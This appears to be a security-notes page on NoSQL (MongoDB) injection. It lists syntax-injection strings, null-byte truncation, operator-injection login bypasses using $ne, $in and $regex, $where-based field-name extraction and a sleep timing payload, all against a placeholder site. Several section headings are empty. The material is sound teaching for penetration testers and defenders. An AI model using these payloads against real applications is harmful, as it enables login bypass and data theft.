offsecnotes

NoSQL injection

by frankheat

Introduction to NoSQL databases

NoSQL databases

NoSQL database models


Types of NoSQL injection

  1. Syntax injection - when you can break the NoSQL query syntax, enabling the injection (likeSQLi).
  2. Operator injection - when you can use NoSQL query operators to manipulate queries.

NoSQL syntax injection

Confirming conditional behavior

# False condition
' && 0 && 'x
' && '1'=='2

# True condition
' && 1 && 'x 
' && '1'=='1
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x

If the application behaves differently suggests that the false condition impacts the query logic, but the true condition doesn’t.

Overriding existing conditions

# Always true: 
'||1||'
'||'1'=='1'

# Inject: fizzy'||1||'
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27

# Back-end code
this.category == 'fizzy'||1||''

The modified query returns all items (all the products in any category).

Wwarning: If an application uses it when updating or deleting data, for example, this can result in accidental data loss.

Null character

MongoDB may ignore all characters after a null character. This means that any additional conditions on the MongoDB query are ignored.

# Back-end code
this.category == 'fizzy' && this.released == 1

# Inject null char
https://insecure-website.com/product/lookup?category=fizzy'%00

# Back-end code result [removes the req for the released field to be set to 1]
this.category == 'fizzy'\u0000' && this.released == 1

NoSQL operator injection

Examples of MongoDB query operators

MongoDB Query and Projection Operators: https://www.mongodb.com/docs/manual/reference/operator/query/


Testing

# Login bypass
{"username":"bob","password":{"$ne":"invalid"}}

# Guess with usernames list
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}

# Guess with regex
{"username":{"$regex":"^adm"},"password":{"$ne":""}}

Other tests


Extract data

INSIDE $WHERE


INJECT OPERATOR (where)


INJECT OPERATOR (regex)


Identify field names

FIRST WAY


SECOND WAY

Example
{
"username":"test",
"$where":"Object.keys(this)[§1§].match('^.{0}§u§.*')"
}

With intruder set: 1 payload: numbers, 2 payload: bruteforce chars.

You have :

[
    { "apple": "fruit", "color": "red" },
    { "banana": "fruit", "color": "yellow" },
    { "avocado": "fruit", "color": "green" },
    { "berry": "fruit", "color": "blue" }
]

Query

db.collection.find({ "$where": "Object.keys(this)[0].match('^.{0}a.*')" })
[
    { "apple": "fruit", "color": "red" },
    { "avocado": "fruit", "color": "green" }
]

Timing based injection

Database error doesn’t cause a difference in the application’s response? Trigger a conditional time delay

  1. Load the page several times to determine a baseline loading time.
  2. Insert a timing based payload into the input. Example {"$where": "sleep(5000)"}
  3. Identify whether the response loads more slowly